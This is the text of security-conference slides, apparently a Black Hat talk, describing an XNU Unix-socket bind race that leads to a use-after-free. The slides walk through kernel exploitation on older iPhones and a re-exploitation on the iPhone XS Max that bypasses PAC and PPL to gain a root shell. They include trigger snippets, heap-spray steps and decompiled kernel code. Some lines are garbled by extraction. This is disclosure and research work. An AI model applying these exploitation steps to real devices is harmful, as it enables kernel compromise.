Attacking iPhone XS Max

Tielei Wang and Hao Xu
About us

- Tielei Wang and Hao Xu (@windknown)
- Co-founders of Team Pangu
- Known for releasing jailbreak tools for iOS 7-9
- Organizers of MOSEC (Mobile Security Conference) at Shanghai
Outline

• UNIX Socket Bind Race Vulnerability in XNU
• Exploit the Bug on iPhone Prior to A12
• PAC Implementation and Effectiveness
• Re-exploit the Bug on iPhone XS Max
• Conclusion
Unix Domain Socket

- A UNIX socket is an inter-process communication mechanism that allows bidirectional data exchange between processes running on the same machine.
int sock;
struct sockaddr_un name;
char buf[1024];

/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name,
     SUN_LEN(&name));

/* Read from the socket. */
read(sock, buf, 1024);

close(sock);

int sock;
struct sockaddr_un name;
char buf[1024];

/* Create socket from which to write. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Connect the socket to the path. */
connect(sock, (struct sockaddr *)&name,
        SUN_LEN(&name));

/* Write to the socket. */
write(sock, buf, 1024);

close(sock);

A simple server

A simple client
A simple server

From the kernel point of view
int sock;
struct sockaddr_un name;
char buf[1024];
/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name, SUN_LEN(&name));

/* Read from the socket. */
read(sock, buf, 1024);

close(sock);

A simple server

From the kernel point of view

socket
  socket_common
    socreate_internal
      soalloc
      unp_attach

please refer to xnu source code for more details
int sock;
struct sockaddr_un name;
char buf[1024];

/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr*) &name, SUN_LEN(&name));

/* Read from the socket. */
read(sock, buf, 1024);

close(sock);

A simple server
From the kernel point of view
int sock;
struct sockaddr_un name;
char buf[1024];

/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *) &name, SUN_LEN(&name));

/* Read from the socket. */
read(sock, buf, 1024);

close(sock);

A simple server

From the kernel point of view
int sock;
struct sockaddr_un name;
char buf[1024];
/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name,
     SUN_LEN(&name));

A simple server

From the kernel point of view

bind
  └── sobindlock
      └── socket_lock
          └── unp_bind
              └── socket_unlock
A simple server

From the kernel point of view

Note that unp_bind is surrounded by socket_(un)lock so it is unraceable?

```c
int sock;
struct sockaddr_un name;
char buf[1024];

/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name, SUN_LEN(&name));
```
A simple server

From the kernel point of view

```c
int sock;
struct sockaddr_un name;
char buf[1024];
/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
nname.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
nname.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name,
     SUN_LEN(&name));
```
Race Condition

- The creation of a vnode is time consuming
- `unp_bind` has a temporary unlock
```c
int sock;
struct sockaddr_un name;
char buf[1024];

/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name, SUN_LEN(&name));
```

**A simple server**

**From the kernel point of view**

```
bind
  └── sobindlock
    └── socket_lock
    └── unp_bind
      └── socket_unlock
        └── vnode_create
          └── socket_lock
```

This unlock makes bind raceable
```c
int sock;
struct sockaddr_un name;
char buf[1024];
/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name,
     SUN_LEN(&name));

/* Read from the socket. */
read(sock, buf, 1024);

/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "2.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name,
     SUN_LEN(&name));

/* Read from the socket. */
read(sock, buf, 1024);

/* Close the socket. */
close(sock);
```

bind the socket to two file paths in parallel
bind the socket to two file paths in parallel

we can make a socket binding to two vnodes (two references)
A simple server

From the kernel point of view

```c
int sock;
struct sockaddr_un name;
char buf[1024];
/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name, SUN_LEN(&name));

/* Read from the socket. */
read(sock, buf, 1024);

close(sock);
```
int sock;
struct sockaddr_un name;
char buf[1024];
/* Create socket from which to read. */
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Create name. */
name.sun_family = AF_UNIX;
strcpy(name.sun_path, "1.txt");
name.sun_len = strlen(name.sun_path);

/* Bind socket to the path. */
bind(sock, (struct sockaddr *)&name, SUN_LEN(&name));

/* Read from the socket. */
read(sock, buf, 1024);

close(sock);

One of the vnodes will hold a dangling pointer

From the kernel point of view

A simple server
Trigger UAF by connecting two names

From the kernel point of view

```c
int sock;
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Connect the socket to the path1. */
connect(sock, (struct sockaddr *)&name1,
        SUN_LEN(&name));
/* Connect the socket to the path2. */
connect(sock, (struct sockaddr *)&name2,
        SUN_LEN(&name));
```
The dangling pointer in one of the vnodes will pass into socket_lock()
sock = socket(AF_UNIX, SOCK_DGRAM, 0);
sock2 = socket(AF_UNIX, SOCK_DGRAM, 0);

in parallel

bind(sock, (struct sockaddr *) &server1, sizeof(struct sockaddr_un)))
bind(sock, (struct sockaddr *) &server2, sizeof(struct sockaddr_un)))

close(sock)

connect(sock2, (struct sockaddr *) &server1, sizeof(struct sockaddr_un))
connect(sock2, (struct sockaddr *) &server2, sizeof(struct sockaddr_un))

The race condition bug results in a UAF
The fix

- Fixed in iOS 12.2
- Still raceable, but adding extra checks to make sure two vnodes will only keep one reference to the socket
- No public CVE

```c
if(unp->unp_vnode==NULL){
    vp->v_socket = unp->unp_socket;
    unp->unp_vnode = vp;
}
```
The pattern

- More and more bugs caused by temporary unlocks were discovered, implying an important bug pattern


Outline

• UNIX Socket Bind Race Vulnerability in XNU
• Exploit the Bug on iPhone Prior to A12
• PAC Implementation and Effectiveness
• Re-exploit the Bug on iPhone XS Max
• Conclusion
void
socket_lock(struct socket *so, int refcount)
{
    void *lr_saved;

    lr_saved = __builtin_return_address(0);

    if (so->so_proto->pr_lock) {
        (*so->so_proto->pr_lock)(so, refcount, lr_saved);
    } else {
        #ifdef MORE_LOCKING_DEBUG
            LCK_MTX_ASSERT(so->so_proto->pr_domain->dom_mtx,
                           LCK_MTX_ASSERT_NOTOWNED);
        #endif

        lck_mtx_lock(so->so_proto->pr_domain->dom_mtx);
        if (refcount)
            so->so_usecount++;
        so->lock_lr[so->next_lock_lr] = lr_saved;
        so->next_lock_lr = (so->next_lock_lr+1) % SO_LCKDBG_MAX;
    }
}
UAF, let’s look at the USE

```c
void
socket_lock(struct socket *so, int refcount)
{
    void *lr_saved;
    lr_saved = __builtin_return_address(0);

    if (so->so_proto->pr_lock) {
        (*so->so_proto->pr_lock)(so, refcount, lr_saved);
    } else {
        #ifdef MORE_LOCKING_DEBUG
            LCK_MTX_ASSERT(so->so_proto->pr_domain->dom_mtx,
                           LCK_MTX_ASSERT_NOTOWNED);
        #endif
        lck_mtx_lock(so->so_proto->pr_domain->dom_mtx);
        if (refcount)
            so->so_usecount++;
        so->lock_lr[so->next_lock_lr] = lr_saved;
        so->next_lock_lr = (so->next_lock_lr+1) % SO_LCKDBG_MAX;
    }
}
```
UAF, let's look at the USE

define socket_lock(struct socket *so, int refcount)
{
    void *lr_saved;

    lr_saved = __builtin_return_address(0);

    if (so->so_proto->pr_lock) {
        (*so->so_proto->pr_lock)(so, refcount, lr_saved);
    } else {
        #ifdef MORE_LOCKING_DEBUG
            LCK_MTX_ASSERT(so->so_proto->pr_domain->dom_mtx,
                LCK_MTX_ASSERT_NOTOWNED);
        #endif
        lck_mtx_lock(so->so_proto->pr_domain->dom_mtx);
        if (refcount)
            so->so_usecount++;
        so->lock_lr[so->next_lock_lr] = lr_saved;
        so->next_lock_lr = (so->next_lock_lr+1) % SO_LCKDBG_MAX;
    }
}
Binary version may be better

fetch and call a function pointer through two deferences to a freed socket

```c
void __fastcall socket_lock(__int64 socket, __int64 a2)
{
    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

    v3 = a2;
    v5 = *(QWORD *)(socket + 0x18);
    v4 = *(void (**)(__int64, __int64, __int64))(v5 + 0x68);
    if (!v4)
        *(socket, a2, returnAddress);
    else
    {
        v7 = *(QWORD *)((QWORD *)(v5 + 0x10) + 0x10LL);
        if (*(BYTE *)(v7 + 0x8) != 0x22)
            panic("Invalid mutex @p");
        v8 = _ReadStatusReg(ARM64_SYSREG(3, 0, 0x0D, 0, 4));
        while (1)
        {
            v9 = __ldaxr((unsigned __int64 *)v7);
            if (v9)
                break;
            if (1__stxr(v8, (unsigned __int64 *)v7))
            {
                if (v3)
                    goto LABEL_10;
                goto LABEL_9;
            }
        }
        clrex();
        lock_mtx_lock_contended((unsigned int *)v7, v8, 0);
    }
    *****************(socket + 0x240);
    LABEL_10:
    *(QWORD *)(socket + 8LL) *= (unsigned __int8 *)(socket + 0x298) + 0x258 = returnAddress;
    *(BYTE *)(socket + 0x298) = *(BYTE *)(socket + 0x298) + 1 & 3;
```
Create a number of sockets
Exploit the race condition in unp_bind to construct two vnodes holding a dangling pointer, pointing to one of the sockets.
Close all the sockets, and trigger `zone_gc()`
Spray controllable data (fake sockets), make sure offset 0x18 in fake sockets pointing to a fixed/leaked heap address

1. Heap address leaks are not very hard on iOS
2. After spraying a large volume of data, occupying a fixed heap address is quite likely
a fixed or leaked heap address

If offset 0x68 in the fixed heap address is 0, the following instructions will be executed while connecting to the two vnodes:

```
LABEL 10:
*(QWORD *)(socket + 8LL) *(unsigned _int8 *)(socket + 0x298) + 0x258) = returnAddress;
*(BYTE *)(socket + 0x298) = (*(BYTE *)(socket + 0x298) + 1) & 3;
```
Code pointer is leaked!

- A fixed or leaked heap address
- Code pointer is leaked!
If offset 0x68 in the fixed heap address is not 0, the following instructions will be executed while connecting to the two vnodes again:

```c
v5 = *(_QWORD *)(socket + 0x18);

void __fastcall **(__int64, __int64, __int64)(v5 + 0x68);
if ( v6 )
{
    v6(socket, a2, returnAddress);
}
```

VSOCK
0
...

VSOCK
v_socket
...

A fixed or leaked heap address

0x4141414141414141
+0x68
PC control is achieved. The rest of work is to chain ROP gadgets…
The exploit does NOT work on A12
\texttt{(*so->so\_proto->pr\_lock)(so, refcount, lr\_saved);} \\

**Instructions on old devices**

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>LDR</td>
<td>X9, [X21,#0x18]</td>
</tr>
<tr>
<td>LDR</td>
<td>X8, [X9,#0x68]</td>
</tr>
<tr>
<td>CBZ</td>
<td>X8, loc_FFFFFFFF007BE4C18</td>
</tr>
<tr>
<td>MOV</td>
<td>W1, #0</td>
</tr>
<tr>
<td>MOV</td>
<td>X0, X21</td>
</tr>
<tr>
<td>MOV</td>
<td>X2, X20</td>
</tr>
<tr>
<td>BLR</td>
<td>X8</td>
</tr>
</tbody>
</table>

**Instructions on A12 devices**

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>LDR</td>
<td>X9, [X20,#0x18]</td>
</tr>
<tr>
<td>LDR</td>
<td>X8, [X9,#0x68]</td>
</tr>
<tr>
<td>CBZ</td>
<td>X8, loc_FFFFFFFF007F805E4</td>
</tr>
<tr>
<td>MOV</td>
<td>W1, #0</td>
</tr>
<tr>
<td>MOV</td>
<td>X0, X20</td>
</tr>
<tr>
<td>MOV</td>
<td>X2, X21</td>
</tr>
<tr>
<td>BLRAA</td>
<td>X8</td>
</tr>
</tbody>
</table>
(*so->so_proto->pr_lock)(so, refcount, lr_saved);

Instructions on old devices

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Register1</th>
<th>Register2</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>LDR</td>
<td>X9</td>
<td>[X21,#0x18]</td>
<td></td>
</tr>
<tr>
<td>LDR</td>
<td>X8</td>
<td>[X9,#0x68]</td>
<td></td>
</tr>
<tr>
<td>CBZ</td>
<td>X8</td>
<td>loc_FFFFFF007BE4C18</td>
<td></td>
</tr>
<tr>
<td>MOV</td>
<td>W1</td>
<td>X0, X21</td>
<td></td>
</tr>
<tr>
<td>MOV</td>
<td>X2</td>
<td>X20</td>
<td></td>
</tr>
<tr>
<td>BLR</td>
<td>X8</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Instructions on A12 devices

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Register1</th>
<th>Register2</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>LDR</td>
<td>X9</td>
<td>[X20,#0x18]</td>
<td></td>
</tr>
<tr>
<td>LDR</td>
<td>X8</td>
<td>[X9,#0x68]</td>
<td></td>
</tr>
<tr>
<td>CBZ</td>
<td>X8</td>
<td>loc_FFFFFF007F095E4</td>
<td></td>
</tr>
<tr>
<td>MOV</td>
<td>W1</td>
<td>X0, X20</td>
<td></td>
</tr>
<tr>
<td>MOV</td>
<td>X2</td>
<td>X21</td>
<td></td>
</tr>
<tr>
<td>BLRAAZ</td>
<td>X8</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Hijack control flow by controlling X8

Cannot hijack control flow by controlling X8
Outline

• UNIX Socket Bind Race Vulnerability in XNU
• Exploit the Bug on iPhone Prior to A12
• PAC Implementation and Effectiveness
• Re-exploit the Bug on iPhone XS Max
• Conclusion
Much excellent research and disclosure

- Ivan Krstić. Behind the scenes of iOS and Mac Security, Blackhat USA 2019.
PAC (Pointer Authentication Code)

- Introduced in ARM v8.3
- Hardware based solution for pointer integrity
- Encode authentication code in unused bits of a pointer, and verify the code before using the pointer

| 25 | 39 |

a 64bits pointer
PAC (Pointer Authentication Code)

modifier

PAC* instructions

25

APDAKey
APDBBKey
APIAKey
APIBKey
APGAKey

39

PAC’ed pointer
PAC (Pointer Authentication Code)

- PAC’ed pointer
- AUT* instructions
- modifier
- original pointer
- APDAKey
- APDBKey
- APIAKey
- APIBKey
- APGAKey
PAC (Pointer Authentication Code)

PAC’ed pointer

modifier

AUT* instructions

APDAKey
APDBKey
APIAKey
APIBKey
APGAAKey

invalid pointer with error code
(*so->so_proto->pr_lock)(so, refcount, lr_saved);

BLRAAZ = AUTIAZ + BLR

Filling X8 with arbitrary code gadget, AUTIAZ will yield an invalid address, leading to a kernel panic
Outline

- UNIX Socket Bind Race Vulnerability in XNU
- Exploit the Bug on iPhone Prior to A12
- PAC Implementation and Effectiveness
- Re-exploit the Bug on iPhone XS Max
- Conclusion
Recap

Trigger UAF by connecting two names

```c
int sock;
sock = socket(AF_UNIX, SOCK_DGRAM, 0);

/* Connect the socket to the path1. */
connect(sock, (struct sockaddr *)&name1,
        SUN_LEN(&name));
/* Connect the socket to the path2. */
connect(sock, (struct sockaddr *)&name2,
        SUN_LEN(&name));
```

From the kernel point of view

connect

unteer UAF by connecting two names
Take another look at \texttt{unp\_connect}

First use of the freed socket

```c
static int
unp_connect(struct socket *so, struct sockaddr *nam, __unused proc_t p)
{
  ...

  socket_lock(vp->v_socket, 1); /* Get a reference on the listening socket */
  so2 = vp->v_socket;
  lck_mtx_unlock(unp_connect_lock);

  if (so2->so pcb == NULL) {
    error = ECONNREFUSED;
    if (so != so2) {
      socket_unlock(so2, 1);
    }
  }
```

Note that we can safely return from socket\_lock, if we avoid the function pointer call
Take another look at unp_connect

```c
static int
unp_connect(struct socket *so, struct sockaddr *nam, __unused proc_t p)
{
    ...

    socket_lock(vp->v_socket, 1); /* Get a reference on the listening socket */
    so2 = vp->v_socket;
    lck_mtx_unlock(unp_connect_lock);

    if (so2->so_pcb == NULL) {
        error = ECONNREFUSED;
        if (so != so2) {
            __socket_unlock(so2, 1);
        }
    }
}
```
socket_unlock is very similar to socket_lock, except when so->so_usecount turns to 0
sofreelastref

- sofreelastref has a lot of cleanup, but eventually calls kfree

socket_unlock

<table>
<thead>
<tr>
<th>sofreelastref</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>sodealloc</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>FREE_ZONE</th>
</tr>
</thead>
</table>

| kfree |

The race condition bug results in a UAF
The UAF results in a double free
Create a number of sockets
Exploit the race condition in unp_bind to construct two vnodes holding a dangling pointer, pointing to one of the sockets.
Close all the sockets, and trigger zone_gc()
Spray controllable data (fake sockets), make sure offset 0x18 in fake sockets pointing to a fixed/leaked heap address.
Connect to the two vnodes.
Avoid invoking the two function pointers, and go to kfree in sofreelastref.

The OSdata is freed now, as if it were a socket.
Spray a number of OOL ports descriptors via `mach_msg`.

Occupy the freed OSData with OOL ports buffer.
Free all the OSData

The OOL ports buffer is freed, as if it were OSData

A fixed or leaked heap address

Free all the mach_msg_ool_ports_descriptor_t

Free all the struct vnode

Free all the VSOCK

Free all the v_socket
Spray a number of OSData again. Occupy the freed OOL ports buffer, and refill with a pointer pointing to a fake port struct.
Build a fake kernel task object, we gain an arbitrary kernel read and write (tfp0)

Receive all the mach messages, gain a send right to a fake port

So far so good. Can we win the game without a fight with PAC?
Got troubles while adding trust caches

• With tfp0, adding trust caches is quite straightforward on old devices

  • by adding adhoc hashes, we can avoid code signature validations on our executables

• But on A12 devices, we got a new type panic when adding hashes

  panic(cpu 3 caller 0xffffffff013cb2880): "pmap_enter_options_internal:
  page locked down, " "pmap=0xffffffff013cd40a0,
  v=0xffffffffe04a27c000, pn=2108823, prot=0x3, fault_type=0x3,
  flags=0x0, wired=1, options=0x9"

• Apparently, there are other mitigations
• More protections on kernel heap memory

• Protected kernel heap memory could only be written from approved kernel code

• New PPL* segments introduced
__PPLTEXT

• Contains code for
  • Pmap related functions
  • Code signature related functions
  • Trust cache related functions
  • …

• Code in __PPLTEXT cannot be executed unless a special register ("#4, c15, c2, #1) is set to 0x4455445564666677
• The only entry point to set the special register “#4, c15, c2, #1” to 0x445544556466677

• Dispatch calls to functions in __PPLTEXT
tfp0’s write capability for kernel image

Before iPhone 7

Since iPhone 7 (KTRR introduced)

Since iPhone XS (APRR introduced)
Adding dynamic trust caches needs a code execution.
Look for unprotected control flow transfer points

- Indirected function calls
- Context switches
- Interrupt handlers
- ...

Please refer to Brandon Azad, “A study in PAC”, MOSEC 2019 for more bypass methods
thread_exception_return jumps to our eyes

- thread_exception_return is used to return a thread from the kernel to usermode

  C6.2.77 ERET

  Exception Return using the ELR and SPSR for the current Exception level. When executed, the PE restores PSTATE from the SPSR, and branches to the address held in the ELR.

- When eret instruction is executed, the CPU restores PSTATE from the SPSR, and branches to the address held in the ELR.
thread_exception_return jumps to our eyes

LDR     X0, [SP,#arg_108]
LDR     W1, [SP,#arg_110]
LDR     W2, [SP,#arg_340]
LDR     W3, [SP,#arg_340+4]
MSR     #0, c4, c0, #1, X0 ; [>] ELR_EL1 (Exception Link Register (EL1))
MSR     #0, c4, c0, #0, X1 ; [>] SPSR_EL1 (Saved Program Status Register (EL1))
...
ERET
thread_exception_return jumps to our eyes

if we can control the memory loads

LDR X0, [SP,#arg_108]
LDR W1, [SP,#arg_110]
LDR W2, [SP,#arg_340]
LDR W3, [SP,#arg_340+4]
MSR #0, c4, c0, #1, X0 ; [>] ELR_EL1 (Exception Link Register (EL1))
MSR #0, c4, c0, #0, X1 ; [>] SPSR_EL1 (Saved Program Status Register (EL1))

... eret to arbitrary kernel address at EL1

ERET
thread_exception_return jumps to our eyes

LDR X0, [SP,#arg_108]
LDR W1, [SP,#arg_110]
LDR W2, [SP,#arg_340]
LDR W3, [SP,#arg_340+4]
MSR #0, c4, c0, #1, X0 ; [>] ELR_EL1 (Exception Link Register (EL1))
MSR #0, c4, c0, #0, X1 ; [>] SPSR_EL1 (Saved Program Status Register (EL1))
...
BL jopdetector
....
ERET

However, there is a special function
Let's check this jopdetector

The jopdetector is supposed to check the integrity of the saved thread context.
Let’s check this jopdetector

But wait, a mismatch of hash values does not lead to a panic because of an early return.
What can we do

• Make a thread trapping into the kernel and waiting for return (e.g., waiting for a mach msg)

• Change the saved thread context (ELR_EL1 and SPSR_EL1) based on tfp0

• Make the thread return (e.g., sending a msg)

• Gain arbitrary code execution in the kernel via eret

• Call ppl_loadTrustCache (0x25) to load our own dynamic trust cache
Got ssh on iPhone XS Max

```
root@(/var/root)# id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procmod),20(staff),29(certusers),80(admin)
root@(/var/root)#uname -a
Darwin iPhone 18.0.0 Darwin Kernel Version 18.0.0: Tue Aug 14 22:07:18 PDT 2018; root:xnu-4903.202.2-1/RELEASE_ARM64_T8020 iPhone11,2
root@(/var/root)# debugserver
debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-360.0.26.3
  for arm64.
Usage:
  debugserver host:port [program-name program-arg1 program-arg2 ...]
  debugserver /path/file [program-name program-arg1 program-arg2 ...]
  debugserver host:port --attach=<pid>
  debugserver /path/file --attach=<pid>
  debugserver host:port --attach=<process_name>
  debugserver /path/file --attach=<process_name>
root@(/var/root)#
```
The fix

```
; sub_FFFFFF007C6DB3C+32C+P ...
PACGA  X1, X1, X0
AND   X2, X2, #0xFFFFFFFFFDFFFDFF
PACGA  X1, X2, X1
PACGA  X1, X3, X1
LDN   X2, (X0,#0x128)
CMP   X1, X2
B.NE  loc FFFFFFF00815D1A8
RET
```

```
00815D1A8  ; CODE XREF: sub_FFFFFF00815D188+18↑j
  MOV     X1, X0
  ADR     X0, aJopHashMismatch ; "JOP Hash Mismatch Detected (PC, CPSR, o"
  BL      callpanic
```
Black Hat Sound Bytes

- Temporary unlock is becoming an source of race condition bugs
- PAC+PPL is great, but does not end the memory war
- A good design needs a good, complete implementation
Thank you!